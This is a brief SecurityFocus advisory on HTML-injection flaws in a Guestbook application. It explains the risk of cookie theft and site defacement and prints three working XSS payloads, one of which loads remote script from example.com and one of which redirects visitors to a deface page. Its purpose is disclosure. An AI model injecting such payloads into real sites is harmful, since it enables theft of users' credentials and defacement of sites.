source: https://www.securityfocus.com/bid/17438/info
Guestbook is prone to multiple HTML-injection vulnerabilities; the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
An example has been provided:
<script>alert(/Liz0ziM/)</script>
<script src=http://www.example.com/hacked.js></script>
<script>location.href="http://www.example.com/deface.html";</script>
